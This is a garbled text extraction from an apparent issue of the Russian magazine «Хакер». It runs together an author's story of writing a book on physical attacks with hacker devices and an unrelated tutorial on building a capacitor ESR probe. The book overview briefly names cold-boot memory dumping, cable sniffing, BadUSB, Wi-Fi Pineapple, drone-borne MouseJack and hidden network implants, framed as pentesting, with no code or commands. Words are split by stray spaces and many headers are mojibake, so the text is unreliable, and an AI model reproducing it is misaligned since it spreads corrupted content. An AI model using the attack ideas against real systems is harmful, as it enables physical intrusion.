решения на съем ку у адми нис тра ции того или ино го объ екта, что бы потом
меня не сде лали глав ным подоз рева емым в каком-нибудь пра вона руше нии.
Одна ко в сфе ре ИБ есть еще одна осо бен ность, свя зан ная с фотог рафи- 
ями, — нуж но скры вать всю кон фиден циаль ную и пер сональ ную информа- 
цию. Поэто му мне приш лось замазы вать на сним ках неис числи мое количес- 
тво MAC- и IP-адре сов.

На вер ное, писать эту кни гу мож но было еще не один год, пос тепен но
добав ляя все новый матери ал, а инте рес ные идеи у меня рож дались
при работе над рукописью пос тоян но. Но в какой-то момент я начал
понимать, что часть написан ного матери ала понем ногу уста рева ет, к тому же
оста ется риск, что меня с подоб ной темой кто-то может баналь но опе редить.
С про изводс твен ным про цес сом пора было закан чивать.

Обыч но я ста раюсь за год добить ся каких-то ощу тимых резуль татов в сво- 
ей работе, нап ример получить сер тификат или выс тупить с док ладом на кон- 
ферен ции. 2022 год выдал ся неп ростым, и мне хотелось отме тить его завер- 
шение хоть каким-то резуль татом. Поэто му в самый пос ледний рабочий день
года, ког да по всей стра не люди уже отку пори вают шам пан ское, режут
салати ки и отры вают ся на кор порати вах, я вновь написал Вален тину Хол- 
могоро ву о том, что работа над кни гой прак тичес ки завер шена. И сра зу же
получил ответ: раз завер шена — будем изда вать. Видимо, вед ред «Хакера»
к тому момен ту уже про тес тировал нем ного шам пан ско го. Год завер шился
на позитив ной ноте!

ÏÐÅÄÏÅ×ÀÒÍÀß ÏÎÄÃÎÒÎÂÊÀ

В нас тупив шем 2023 году мне пред сто яло выпол нить еще как минимум
полови ну работы над кни гой, прав да, тог да я об этом еще не подоз ревал.
Меня жда ло мно гок ратное перечи тыва ние рукопи си и шли фов ка тек ста —
это отни мало безум ное количес тво вре мени. Все го я нас читал око ло 60 вер- 
сий пра вок докумен та. Затем сле дова ло отформа тиро вать текст кни ги в соот- 
ветс твии со спе циаль ным сти левым шаб лоном, при нятым в изда тель стве.
На все это у меня ушло еще три месяца. Парал лель но матери алы выходи ли
в виде ста тей на «Хакере».

Ког да под готови тель ная работа завер шилась, за рукопись взял ся литера- 
тур ный редак тор. Я перечи тывал собс твен ные гла вы за челове ком, который
прек расно вла деет рус ским язы ком (в отли чие от меня), но не до кон ца раз- 
бира ется в тех ничес ких тон костях, свя зан ных с темати кой кни ги. Сле дова ло
тща тель но про верить, все ли переф разиро ван ные редак тором пред ложения
сох раняли свой изна чаль ный смысл.

Спус тя два месяца к работе под клю чил ся кор ректор, про веряв ший пун кту- 
ацию и рас став лявший по мес там раз бежав шиеся запятые (с этим у меня
дела обсто ят еще хуже).

На конец, нас тупил тре тий этап — верс тка. И тут я вне зап но обра тил вни- 
мание на неч то иное, что до это го упус кал из вида, — офор мле ние кода.
За сле дующие три недели я обна ружил столь ко мел ких недоче тов, что
это пов лекло за собой еще три цик ла пра вок. И все ради того, что бы прог- 
рам мный код и кон фиги в кни ге читались так же лег ко и кра сиво, как в IDE.

В общей слож ности еще пол года ушло на финаль ные штри хи и отправ ку
кни ги в типог рафию. При этом мы нас толь ко дол го вели перего воры
по поводу цвет ной печати, что про ект чуть не сор вался, — мне очень
хотелось, что бы кни га была пол ноцвет ной. Ко все му про чему,
наши 100 автор ских экзем пля ров потом потеря ла тран спортная ком пания...

Об ложка — это лицо кни ги. От изна чаль но пред ложен ного мною наз вания
на этой самой обложке оста лось толь ко одно сло во: «физичес кие», но зато
оно ста ло клю чевым. Куда важ нее была кар тинка — она дол жна отра жать
суть, основную идею кни ги.

Мне очень хотелось про демонс три ровать на этом изоб ражении физичес- 
кий мир, нап ример некий город как циф ровой объ ект для атак. Но потом я
решил пос тупить про ще — сде лать отсылку одновре мен но к игре Watch Dogs
(хол мы Сан-Фран циско и мост) и сери алу Mr. Robot (человек в худи). И конеч- 
но же, этот человек дол жен дер жать в руке смар тфон с чем-то мак сималь но
узна ваемым и хакер ским на дис плее (нап ример, Metasploit). Абс трак тные
информа цион ные потоки в небе вымыш ленно го города дол жны сим волизи- 
ровать мно гочис ленные объ екты для атак, которые прек расно видит потен- 
циаль ный хакер, но не видят окру жающие.

Так выг лядела иллюс тра ция для обложки в исполне нии ИИ

На рисо вать такую кар тинку — очень неп ростая задача, но тут нам на помощь
при шел искусс твен ный интеллект. Прав да, как это обыч но слу чает ся с иллюс- 
тра циями Midjourney, у нарисо ван ного хакера почему-то обра зова лось сра зу
два капюшо на, а в вооб ража емом городе зачем-то появи лось два мос та.
На этом эта пе к работе под клю чилась дизай нер , которая соз дает все
обложки и гра фичес кие «заходы» к стать ям для жур нала «Хакер», — она
довела кар тинку до ума, убрав на ней все лиш нее и дорисо вав недос тающее.

yambuto
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«ФИЗИЧЕСКИЕ АТАКИ 

С ИСПОЛЬЗОВАНИЕМ
ХАКЕРСКИХ

УСТРОЙСТВ»
КАК Я СТАЛ 

АВТОРОМ КНИГИ

GEEK  НАЧАЛО СТАТЬИ←

Î ×ÅÌ ÊÍÈÃÀ?

В кни ге три раз дела. В одном опи сыва ются физичес кие ата ки, которые тре- 
буют непос редс твен ного кон такта с целью, во вто ром — око лофи зичес кие,
поз воля ющие работать на рас сто янии по ради ока налам, а в треть ем —
физичес кие имплан ты — решения для зак репле ния в ском про мети рован ной
сис теме. Раз нооб разных физичес ких атак, конеч но же, куда боль ше. Но в
кни гу я пос тарал ся вклю чить лишь дос таточ но прос тые в исполне нии и «чис- 
тые» — то есть не тре бующие вскры тия устрой ств и про чего ван дализ ма.

Cold boot attack
Прос тая гла ва, с которой луч ше начинать чте ние кни ги. В ней рас ска зыва- 
ется, нас коль ко лег ко могут быть извле чены дан ные из опе ратив ной памяти
ПК с помощью одной толь ко флеш ки, даже если у вас шиф рован ный хард
и стой кий пароль для вхо да в сис тему.

Из вле чение всех сек ретов с заб локиро ван ного ПК через аппа рат ный
сброс

Ñî îòâåòñ òâó þùàÿ ïóá ëèêàöèÿ â «Õàêåðå»: «

»

Cold boot attack. Äàì- 

ïèì îïå ðàòèâ íóþ ïàìÿòü ñ ïîìîùüþ ôëåø êè

RJ-45 sniffing
Очень кра сивая по сво ей прос тоте ата ка, поз воля ющая сни мать тра фик
прос тыми элек три чес кими зажима ми типа «кро кодил». Я не автор этой идеи,
но я кра сиво реали зовал ее с помощью телефо на или одноплат ника.

Пе рех ват хеша пароля и ска чива емо го фай ла прос тыми кро коди лами

Это дела ет ата ку впол не при мени мой в реаль ной жиз ни, но, разуме ется,
далеко не в каж дом слу чае. Физичес кие ата ки более прос ты в понима нии
и наг лядны в дей ствии, поэто му они и прив лека ют боль ше вни мания. К сло ву,
пос ле пуб ликации этой гла вы со мной свя зались про дюсе ры одно го
из популяр ных YouTube-каналов и пред ложили снять ролик на эту тему. Так
мой текст впер вые экра низи рова ли, а shorts этой гла вы наб рал боль ше трех
мил лионов прос мотров.

Â âèäå ñòàòüè: «

»

Êðî êîê ðÿê. Ñíè ìàåì òðà ôèê ñ âèòîé ïàðû îáû÷- 

íûìè „êðî êîäè ëàìè“

BadUSB-HID
Пос вятить кни гу физичес ким ата кам и не рас ска зать про Rubber Ducky я
прос то не мог. От себя я добавил пару корот ких команд для взло ма ПК
(которые я почер пнул, кста ти, из OSCE). Так же я под робно опи сал инте рес- 
ный спо соб при мене ния таких фле шек для атак на заб локиро ван ные компь- 
юте ры.

Са мая корот кая и уни вер саль ная коман да для взло ма любого ком па
под управле нием Windows

Ñòàòüÿ: «

»

Î÷åíü ïëî õàÿ ôëåø êà. Ðàç áèðà åì àòà êó BadUSB

â äåòàëÿõ

BadUSB-eth
Ку да менее извес тная ата ка, опи сан ная иссле дова телем Samy Kamkar в его
про екте poisontap. Она поз воля ет получать дос туп к заб локиро ван ным компь- 
юте рам и име ет колос саль ный потен циал, одна ко куда более слож на
в исполне нии, чем BadUSB-HID.

Вы тяги вание NetNTLM-хеша с заб локиро ван ного ПК и взлом дру гого
компь юте ра

Мне хотелось показать в сво ей кни ге, что BadUSB — это не толь ко флеш- 
ки-кла виату ры, но и флеш ки — сетевые кар ты, которые прек расно уме ют
вытяги вать с ком пов сек реты, при чем дос таточ но быс тро.

Ñòàòüÿ: « »Çëàÿ ñåòåâó õà. Ðàç áèðà åì â äåòàëÿõ àòà êó BadUSB-ETH

Pineapple
В этой гла ве я рас ска зал, как с исполь зовани ем обще дос тупных и дешевых
ком плек тующих соб рать устрой ство для атак на бес про вод ные сети. Глав ная
проб лема, которая чаще все го воз ника ет при про веде нии подоб ных атак, —
не самое удоб ное рас положе ние цели, обус ловлен ное огра ничен ным ради- 
усом дей ствия бес про вод ной сети. В резуль тате хакеру при ходит ся про- 
водить мно го вре мени в опас ной бли зос ти от объ екта втор жения.

Уда лен ный дос туп к Wi-Fi и раз витие пос леду ющих атак

Я опи сал конс трук цию такого хакер ско го девай са на базе одноплат ника
Raspberry Pi Zero W, запитан ного от кро шеч ного акку муля тора, при этом
устрой ством мож но уда лен но управлять через интернет. Очень удоб но, ког да
на ули це –20, зона при ема сиг нала — пара квад ратных мет ров, а паль цы
от холода уже не в сос тоянии жать кноп ки на телефо не.

Ñòàòüÿ: «

»

Ãðîç íûé àíà íàñ. Ñîáèðà åì è ïðè ìåíÿ åì ñâîé Wi-Fi

Pineapple

Õàêåðñêèé äðîí
Это — одна из самых инте рес ных, но проб лемных глав, содер жание которой
меня силь но тре вожи ло. В Watch Dogs я так и не поиг рал, но гей мплей прос- 
матри вал. Та лег кость и зре лищ ность, с которой в игре выпол нялся взлом,
осо бен но с исполь зовани ем дис танци онно управля емо го квад рокоп тера,
навела меня на мысль пов торить такой трюк в реаль нос ти.

И я при думал такую ата ку: дрон в сочета нии с MouseJack на бор ту в сос- 
тоянии взло мать поч ти любое устрой ство, при чем за секун ду, прос то про- 
летев рядом с зак рытым окном. Даже если цель рас положе на на вер хних эта- 
жах офис ного зда ния.

Ог ромное спа сибо Диане за помощь с этой чрез вычай но слож ной сце -
ной

Проб лемной эта гла ва была еще из-за фотог рафий. Мне хотелось показать
на фото типич ное офис ное помеще ние, с панорам ными окна ми, рас положен- 
ное очень высоко и мак сималь но неп риступ ное для хакера с зем ли. Во вре мя
съем ки я в оче ред ной раз чуть не стол кнул ся с проб лемами — бди тель ные
граж дане и охра на боят ся лета ющих вок руг офи сов дро нов, и опе рато ру
могут гро зить серь езные неп рият ности. Если, конеч но, его удас тся пой мать!

Ко все му про чему в кни ге я рас ска зываю о том, как модер низиро вать
дешевый «бытовой» квад рокоп тер таким обра зом, что бы он мог летать,
не теряя свя зи с опе рато ром, на десят ки километ ров и при этом успешно
про тивос тоять все воз можным «глу шил кам».

Ñòàòüÿ: «

»

Ìå ãàä ðîí. Ñòðî èì õàêåð ñêèé áåñ ïèëîò íèê — äàëü íîáîé- 

íûé è ñ çàùèòîé îò ãëó øèëîê

Mobile
Са мая боль шая гла ва, пос вящен ная хакин гу с исполь зовани ем мобиль ного
телефо на. Вооб ще, по одной толь ко этой гла ве, навер ное, мож но было бы
выпус тить отдель ную кни гу.

Еще со вре мен Nokia N900 любой телефон с ядром Linux был для меня
пол ноцен ным компь юте ром, на котором я пос тепен но раз ворачи вал свой
«хакер ский плац дарм». В реаль ных про ектах Red Team, где откры то работать
с ноут буком для пен тесте ра — слиш ком палев но, телефон не раз меня
выручал. Помогал он мне и тог да, ког да хакать нуж но было, что называ ется,
на ходу — если про тяжен ность объ екта ата ки сос тавля ет сот ни мет ров.

В этой гла ве на 120 стра ницах я под робно демонс три рую, на что спо собен
сов ремен ный телефон под управле нием Android. Читате лю ста нет оче вид но,
что взлом с помощью телефо на — это поч ти так же прос то, как с исполь- 
зовани ем Raspberry. Воору жен ный смар тфо ном хакер ста новит ся еще более
опас ным, быс трым и незамет ным, нежели с ноут буком. И слов но в игре Watch
Dogs, он спо собен взло мать сис тему бук валь но за секун ду.

Ре аль ный про бив перимет ра одно го из заводов (в рам ках пен теста), что
называ ется, игра ючи

Так же в этой гла ве я показы ваю, как с исполь зовани ем смар тфо на реали- 
зовать прак тичес ки все ата ки и хакер ские при емы из дру гих глав.

Ñòàòüè: «

» è «

»

Êè áåð ôîí. Ïðåâ ðàùà åì òåëåôîí íà Android â èíñ òðó- 

ìåíò õàêåðà Ïðîä âèíóòûé êèáåð ôîí. Çàðÿæà åì òåëåôîí

õàêåð ñêîé ñèëîé

Çàêðåïëåíèå ÷åðåç íåçàùèùåííûå Ethernet-ïîðòû
На рын ке при сутс тву ет целый ряд мини атюр ных одноплат ников с дву мя пор- 
тами RJ-45, с помощью этих одноплат ных компь юте ров мож но лег ко соб рать
устрой ство для физичес кого зак репле ния в ата кован ной сети. Такой девайс
мож но спря тать за прин тером, сис темни ком или даже внут ри IP-телефо на.

По луча ем L3/L2-дос туп в сеть: в раз рыв под клю чена аппа рат ная зак -
ладка в режиме хаба

Так что для про ник новения в чужую сеть далеко не всег да нуж но что-либо ата- 
ковать, дос таточ но лишь прис тро ить подоб ное хакер ское устрой ство в офи се
жер твы где-нибудь в укромном мес те за фикусом.

Ñòàòüÿ: «

»

Äå âàéñ�íåâèäèì êà. Âñòðà èâàåì ñÿ â ëîêàëü íóþ ñåòü

ñ ïîìîùüþ „íåâèäè ìîãî“ õàêåð ñêî ãî óñòðîé ñòâà

Çàêðåïëåíèå ÷åðåç íåçàùèùåííûå USB-ïîðòû
Зак репить ся мож но и через USB-порт. Сов ремен ные 4G-модемы — очень
инте рес ные устрой ства, они лег ко перево дят ся в режим про пус кания сетево- 
го тра фика в нехарак терном обратном нап равле нии — из интерне та (от зло- 
умыш ленни ка) в сто рону целево го компь юте ра (жер твы).

По луча ем сетевой дос туп L3/L2 до авто ном ного ком па через незави -
симый канал переда чи дан ных

Та кой спо соб зак репле ния — некое раз витие тех нологии BadUSB в нап- 
равле нии пос тэкс плу ата ции.

Ñòàòüÿ: «

»

Îïàñ íûé ìîäåì. Çàê ðåïëÿ åìñÿ â àòà êîâàí íîé ñèñ òåìå

ïðè ïîìîùè USB-ìîäåìà

Spy
По жалуй, чис то раз вле катель ная гла ва, показы вающая, сколь ко вся ких при- 
колов мож но сде лать с помощью пары-трой ки строк кода в termux
на мини-телефо не, при чем даже без root-прав.

Ус трой ство с пол ноцен ной ОС и кучей дат чиков раз мером чуть боль ше
флеш ки

Мне хотелось наг лядно про демонс три ровать, что физичес кие ата ки необя- 
затель но свя заны с гру бой силой. Сущес тву ет очень мно го мало извес тных
при емов, которые дают весь ма неп лохой импакт.

ÈÒÀÊ, ÊÍÈÃÀ ÂÛØËÀ!

Я люб лю, ког да взлом (в ходе про ектов по пен тесту, конеч но же) совер шает ся
кра сиво. Кого сей час уди вишь прос тым зах ватом домена? Мне хотелось про- 
вес ти ана логию мно гих атак, осо бен но с помощью мобиль ного телефо на
или дро на, с игрой Watch Dogs. Показать, что в реаль ном мире сущес тву ют
хакер ские при емы, ничем не усту пающие по зре лищ ности играм и филь мам.
Наконец, я стре мил ся про демонс три ровать все мыс лимые век торы нападе- 
ний со сто роны зло умыш ленни ков, замоти виро ван ных нас толь ко, что они
готовы воору жить ся хакер ски ми устрой ства ми и при ехать к вашему офи су.

Ха керс тво. Физичес кие ата ки с исполь зовани ем хакер ских устрой ств

Кни га выш ла в августе, на качес твен ной офсетной бумаге и в пол ноцвет ном
исполне нии. Уже за пер вый месяц было про дано поряд ка 1000 экзем пля- 
ров — по нынеш ним вре менам это весь ма неп лохой показа тель. Сей час кни- 
га отпра вилась в допечат ку, что бы удов летво рить спрос читате лей.

Что уни каль ного в этой кни ге? Навер ное, это единс твен ное изда ние,
в котором не опи сано ни одной ата ки, про води мой с помощью ноут бука, —
исполь зуют ся толь ко телефон и одноплат ники.

Ког да я писал эту кни гу, мне хотелось, что бы она была мак сималь но удоб- 
ной для ауди тории — с цвет ными фотог рафи ями и «под свет кой син такси са»
кода и кон фигов. Но цвет ная печать — слиш ком дорогое удо воль ствие,
которое пот ребова ло поис ка спон сора. В этом качес тве выс тупила ком пания
УЦСБ. Имен но ей дол жен быть бла года рен каж дый читатель, нас лажда ющий- 
ся высоким качес твом печати, ведь кни га, нес мотря на пол ноцвет ное
исполне ние, .про дает ся по цене чер но-белой

Кни гу я писал в отпусках, пос коль ку пен тестер — всег да пен тестер. Так что
на ее стра ницах вни матель ный читатель уви дит фотог рафии из мно жес тва
стран и городов. Кое-где мож но встре тить доволь но «сме лые» иллюс тра ции,
но спе шу заверить читате лей, что в ходе под готов ки матери ала не пос тра- 
дало ни одно реаль ное устрой ство. Все фотог рафии либо взя ты из отче тов
по реаль ным пен тестам в обез личен ном виде, либо сде ланы на лабора тор- 
ных стен дах.

Я далеко не писатель, в шко ле я самос тоятель но так и не написал ни одно- 
го сочине ния. Но эта исто рия показа ла мне, что для челове ка нет ничего
невоз можно го, если он пос тавил себе цель и упор но стре мит ся к ней.
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В этой статье мы раз берем ся в работе
прос того генера тора элек три чес ких
импуль сов и сконс тру ируем полез ный при- 
бор для поис ка неис прав ных элек тро лити- 
чес ких кон денса торов в элек трон ных схе- 
мах. А что бы ты мог без помощи осциллог- 
рафа уви деть про исхо дящие в элек три чес- 
ких цепях про цес сы, мы пос тро им модель
это го при бора в бес плат ной прог рамме
Qucs, пос ле чего про ведем с получен ной
моделью нес коль ко опы тов.

ÍÅÈÑÏÐÀÂÍÎÑÒÈ ÂÎÊÐÓÃ ÍÀÑ

В статье « » я опи сал спо соб прог рам мно го «ремон та»
дефек та жид кокрис талли чес кого монито ра. Но мы живем не в иде аль ном, а в
матери аль ном мире (по край ней мере, пересе лить ся в вир туаль ную все лен- 
ную и пол ностью изба вить ся от матери аль ной сос тавля ющей пока что не уда- 
ется). Так что не все воз ника ющие проб лемы мож но решить уси лием мыс ли.
А проб лем хва тает: при ходит в негод ность одеж да и обувь, лома ются двер- 
ные зам ки, водоп ровод ные кра ны и авто моби ли. Хло пот дос тавля ют и полом- 
ки раз нооб разных элек трон ных устрой ств.

Зап латка на асме

Не исправ ности в элек тро нике отли чают ся от механи чес ких тем, что их
слож нее выявить. Мы не видим течение элек три чес кого тока по дорож кам
на пла тах. А если бы и видели, то быс тро дей ствия нашей нер вной сис темы
не хва тило бы для оцен ки пра виль нос ти работы тран зистор ных клю чей,
выпол няющих сот ни мил лионов перек лючений в секун ду. Поэто му для поис ка
таких неис прав ностей при бега ют к кос венным методам. На вид оце нива ют
сос тояние элек трон ных ком понен тов (чер ный обуг ленный резис тор, пах- 
нущий сго рев шей элек троп ровод кой, ско рее все го, тре бует замены).
На ощупь — их тем перату ру (что тре бует опре делен ной осто рож ности, что бы
не попасть под дей ствие высоко го нап ряжения и не получить тер мичес кий
ожог, если эле мент дей стви тель но неис пра вен или ока зал ся в корот козам- 
кну той цепи). Но спра вить ся с серь езны ми неполад ками все рав но не удас тся
без спе циаль ных изме ритель ных и диаг ности чес ких при боров.

Пер вый помощ ник мас тера — прос тей ший муль тиметр, и во мно гих слу- 
чаях его ока зыва ется дос таточ но. Боль шой плюс это го при бора в том, что
поль зовать ся им могут все, кто не про гули вал в шко ле уро ки физики.
Пожалуй, самая полез ная его фун кция — изме рение соп ротив лений. Ведь,
в кон це кон цов, элек тро тех ника — это наука о кон тактах, и неполад ки воз- 
ника ют там, где кон такт раз рыва ется, или, наобо рот, там, где его быть
не дол жно. Целесо образно про бежать ся щупами по элек трон ной пла те неис- 
прав ного устрой ства (обя затель но вык лючен ного!), изме ряя соп ротив ление
на кон денса торах. Оно дол жно быть дос таточ но боль шим, до бес конеч ности.
Если при бор вдруг показал ноль — это озна чает, что либо сам кон денса тор
«про бит», либо воз никло корот кое замыка ние на под клю чен ных к нему дорож- 
ках, воз можно, через вышед ший из строя сосед ний эле мент. В любом слу чае
круг поис ка зна читель но сужа ется. Ана логич но про водит ся про вер ка резис- 
торов, толь ко их соп ротив ление, наобо рот, не дол жно быть боль ше номина- 
лов — мень ше может дать резис тор, под клю чен ный парал лель но про веря- 
емо му.

Но быва ет и так, что муль тиметр помочь не в силах. Зна читель ную долю
проб лем в элек трон ных устрой ствах соз дают элек тро лити чес кие кон денса- 
торы. Нап ример, устрой ство ни с того ни с сего ста ло вес ти себя стран но: то
вклю чает ся, то вык люча ется, то работа ет, то не работа ет. В такой ситу ации
пос ле исклю чения неис прав ности в «мак ровык лючате лях» — кон тактах кноп- 
ки, розет ки и удли ните ля — сле дует про верить элек тро лити чес кие кон денса- 
торы в бло ке питания и осталь ных узлах. Иног да винов ника проб лемы выда ет
дефор мирован ная (выг нутая вверх, «взду тая» или даже разор ванная) вер хняя
крыш ка или «выпав шее» дно. В дру гих слу чаях кон денса торы выг лядят
исправ ными, но все рав но не выпол няют свою фун кцию. Что же про исхо дит?

ÍÅÑÎÂÅÐØÅÍÑÒÂÎ ÊÎÍÄÅÍÑÀÒÎÐÎÂ

Кон денса тор — это сис тема про вод ников, спо соб ная накап ливать и отда вать
элек три чес кие заряды. Иде аль ный кон денса тор харак теризу ется толь ко сво- 
ей элек три чес кой емкостью, которая изме ряет ся в фарадах. В реаль ном
мире про явля ются и дру гие его свой ства, обус ловлен ные конс трук цией кон- 
денса тора, спо собом его изго тов ления и исполь зован ными матери ала ми.

Для всех типов реаль ных кон денса торов уста нав лива ется мак сималь но
допус тимое нап ряжение, пре выше ние которо го может обер нуть ся элек три- 
чес ким про боем и выходом устрой ства из строя. При вклю чении элек тро лити- 
чес ких кон денса торов сле дует обя затель но соб людать поляр ность — если ее
нарушить, может закипеть элек тро лит. Это завер шает ся харак терным «выс- 
тре лом» с раз рывом обо лоч ки и выб росом содер жимого наружу в виде сим- 
патич ного белого облачка. Если иде аль ный кон денса тор обла дает толь ко
реак тивным соп ротив лени ем, которое опре деля ется его емкостью и умень- 
шает ся с уве личе нием час тоты перемен ного тока, то реаль ный кон денса тор
добав ляет к нему активную сос тавля ющую, как буд то пос ледова тель но с ним
под клю чен резис тор. Эта активная сос тавля ющая называ ется экви вален тным
пос ледова тель ным соп ротив лени ем (ЭПС), в англо языч ной литера туре
equivalent series resistance (ESR).

Не дос таточ ное качес тво изго тов ления и осо бен ности усло вий работы
элек тро лити чес ких кон денса торов могут при водить к тому, что их ЭПС уве- 
личи вает ся. А это, в свою оче редь, ведет к уве личе нию их наг рева и незап- 
ланиро ван ному изме нению режимов работы цепей, в которых они сто ят.
Резуль татом может стать как выход из строя самого кон денса тора, так и раз- 
рушение дру гих эле мен тов элек три чес кой цепи. С течени ем вре мени элек- 
тро лити чес кие кон денса торы «ста реют», что выража ется в умень шении их
емкости. Про цесс дег радации уско ряет ся, если на них пос тоян но воз дей ству- 
ет высокая тем перату ра. В резуль тате они всё хуже выпол няют воз ложен ные
на них фун кции.

Итак, у тебя с некото рого вре мени регуляр но перезаг ружа ется мар шру- 
тиза тор. Элек три чес кая розет ка, в которую вклю чено устрой ство, не вызыва ет
подоз рений, прох ладу в помеще нии обес печива ет кон дици онер, и кор- 
реляции перезаг рузок с момен тами вклю чения и вык лючения 40-лет него
холодиль ника «Саратов» в сосед ней ком нате ты не обна ружил. Что ж, тог да
надо исклю чить фак тор дег радации элек тро лити чес ких кон денса торов.

Ты берешь в руки муль тиметр... и кла дешь его на мес то. В прос тей ших
моделях муль тимет ров отсутс тву ет даже фун кция изме рения элек три чес кой
емкости, не говоря уже про ЭПС. Сей час в про даже появи лись удоб ные
и недоро гие мно гофун кци ональ ные LCR-тес теры, спо соб ные опре делять тип
элек трон ных ком понен тов и изме рять их важ ней шие парамет ры. Но, во-пер- 
вых, такой при бор надо заказы вать в интернет-магази не и ожи дать его дос- 
тавки, а во-вто рых, для про вер ки деталей их надо сна чала выпа ять с мон- 
тажной пла ты. Может, луч ше сра зу заменить все элек тро лити чес кие кон- 
денса торы новыми, как иног да совету ют? Но ведь тог да их все рав но надо
выпа ивать и впа ивать... А если дело не в кон денса торах?

ÏÐÎÑÒÎÉ ESR-ÏÐÎÁÍÈÊ

Из-за широко го рас простра нения проб лемы дег радации элек тро лити чес ких
кон денса торов воп росом их диаг ности ки оза дачи лись мно гие ради олю бите- 
ли. Они изоб рели  раз личной сте пени слож ности и точ- 
ности для про вер ки кон денса торов пря мо на элек трон ных пла тах, без демон- 
тажа. Ког да у меня воз никли подоз рения в исправ ности бло ка питания, я
нашел любопыт ную схе му в статье SharmuttaDJ от 1 мар та 2022 года «Как
быс тро про верить все кон денса торы на пла те. Прос той ESR-проб ник».
В нем ного пре обра зован ном виде конс трук ция устрой ства показа на на сле- 
дующем рисун ке.

мно жес тво при боров

Прин ципи аль ная схе ма прос того ESR-проб ника. Левая часть схе мы
изоб ража ет генера тор элек три чес ких импуль сов, пра вая часть — инди -
катор но-изме ритель ная

Да вай раз берем ся в общих чер тах, как этот при бор работа ет. Изоб ражение
сер дечни ка тран сфор матора в виде длин ной вер тикаль ной линии наг лядно
делит схе му на две час ти. Генера тор, при сутс тву ющий на левой час ти схе мы,
обес печива ет фор мирова ние элек три чес ких импуль сов с час тотой 50–
100 кГц. Они соз дают в тран сфор маторе перемен ное маг нитное поле, а оно,
в свою оче редь, инду циру ет ЭДС в инди катор ной и изме ритель ной обмотках
тран сфор матора. Цепь инди като ра, изоб ражен ная в пра вой час ти схе мы
свер ху, напоми нает клас сичес кий детек тор прос тей шего ради опри емни ка.
Она зам кну та, поэто му ЭДС индукции соз дает в ней перемен ный элек три чес- 
кий ток, который вып рямля ется диодом, сгла жива ется кон денса тором и пос- 
тупа ет на мил лиам перметр (см. рис.). Стрел ка мил лиам пермет ра откло няет ся
в зависи мос ти от силы тока, которую мож но регули ровать подс тро ечным
резис тором.

Пре обра зова ние перемен ного тока в изме ритель ной цепи: вып рямле ние
диодом и сгла жива ние кон денса тором

Из меритель ная цепь, изоб ражен ная в пра вой час ти схе мы сни зу, сей час
разом кну та, поэто му ЭДС индукции изме ритель ной катуш ки не может ини- 
цииро вать в цепи элек три чес кий ток, а зна чит, в дан ный момент эта цепь
никако го вли яния на работу при бора не ока зыва ет. Но ситу ация в кор не
меня ется, если ее зам кнуть, нап ример кос нувшись изме ритель ными щупами
выводов про веря емо го кон денса тора. Как тебе извес тно, кон денса тор
перемен ный ток про водит, в отли чие от пос тоян ного. О под боре соп ротив- 
ления резис тора в изме ритель ной цепи погово рим нем ного поз же, сей час
отме тим лишь, что оно невели ко. В изме ритель ной цепи воз ника ет перемен- 
ный ток, на который рас ходу ется энер гия маг нитно го поля тран сфор матора.
ЭДС на инди катор ной обмотке умень шает ся, и сни жение тока в инди катор- 
ной цепи сра зу же отра жает ся на показа ниях мил лиам пермет ра.

На этой зависи мос ти инди катор ного тока от тока в изме ритель ной цепи
осно вана оцен ка качес тва про веря емо го кон денса тора: чем мень ше соп- 
ротив ление кон денса тора перемен ному току, тем боль ше ток в изме ритель- 
ной цепи и тем мень ше в инди катор ной.

INFO

Мо жет быть, ты дума ешь, что активное соп ротив- 
ление кон денса тора, то самое прес ловутое ЭПС,
не будет замет но на фоне реак тивно го соп ротив- 
ления перемен ному току? Давай пос чита ем! Пол- 
ное соп ротив ление кон денса тора перемен ному
току опре деля ется по фор муле R = Resr + Xc, где
реак тивное соп ротив ление Xc = 1 / (2 * Pi * f · C).
Наимень шая емкость элек тро лити чес ких кон- 
денса торов, с которой тебе пред сто ит стол кнуть- 
ся, — 1 мкФ. Пред положим, что час тота перемен- 
ного тока, которым про водит ся тес тирова ние, —
50 кГц. В этом слу чае реак тивное соп ротив ление
сос тавит при мер но 3,2 Ом. Так что выделить
в общем соп ротив лении ЭПС величи ной свы- 
ше 1 Ом впол не реаль но. А если учесть, что
емкости боль шинс тва элек тро лити чес ких кон- 
денса торов сос тавля ют не еди ницы, а десят ки,
сот ни и тысячи мик рофарад, то реак тивное соп- 
ротив ление будет сос тавлять доли ома, и твои
сом нения дол жны раз веять ся.

ÍÀÑÒÐÎÉÊÀ ÏÐÈÁÎÐÀ

Как ты теперь понима ешь, для разом кну той изме ритель ной цепи и неис прав- 
ных кон денса торов показа ния мил лиам пермет ра будут мак сималь ными, а для
исправ ных кон денса торов с низ ким соп ротив лени ем — минималь ными. Что- 
бы при дать ESR-проб нику наиболь шую чувс тви тель ность, его нуж но нас тро- 
ить. Для это го перед вклю чени ем при бора уста нав лива ют мак сималь ное соп- 
ротив ление подс тро ечно го резис тора в инди катор ной цепи, а изме ритель ную
цепь раз мыка ют. При бор вклю чают и пос тепен но умень шают соп ротив ление
подс тро ечно го резис тора до тех пор, пока стрел ка мил лиам пермет ра
не приб лизит ся к мак сималь ной отметке. Затем изме ритель ные щупы
замыка ют друг с дру гом, стрел ка мил лиам пермет ра при этом тут же пада ет
на ноль, и регули ров кой соп ротив ления уже в изме ритель ной цепи надо
добить ся, что бы эта стрел ка чуть-чуть стро нулась с нулевой отметки. На этом
нас трой ка при бора завер шена. Если теперь при кос нуть ся щупами к выводам
кон денса тора, то, в зависи мос ти от его соп ротив ления, мил лиам перметр
покажет какое-то сред нее зна чение.

При каких имен но показа ниях сле дует бра ковать кон денса торы? Отве тить
на этот воп рос неп росто, потому что показа ния инди като ра отра жают пол ное
соп ротив ление кон денса тора перемен ному току, а в нем, помимо ЭПС, неиз- 
менно при сутс тву ет реак тивная сос тавля ющая, которая тем боль ше, чем
мень ше емкость кон денса тора и час тота тока. Раз работ чик 
(гораз до более совер шенно го, но и сущес твен но более слож ного) Боб Пар- 
кер пред лага ет таб лицу пре дель ных соп ротив лений для элек тро лити чес ких
кон денса торов раз ной емкости, рас счи тан ных на раз ное нап ряжение. Зна- 
чения в ней варь иру ются от 0,03 до 20 Ом. В целом из нее мож но сде лать
вывод, что кон денса торы с соп ротив лени ем боль ше 5 Ом дол жны вызывать
опре делен ные подоз рения, а при пре выше нии 10 Ом их поч ти навер няка
мож но счи тать неис прав ными. На прак тике неис прав ный кон денса тор в боль- 
шинс тве слу чаев про явля ет себя даже более ярко.

при бора K7214
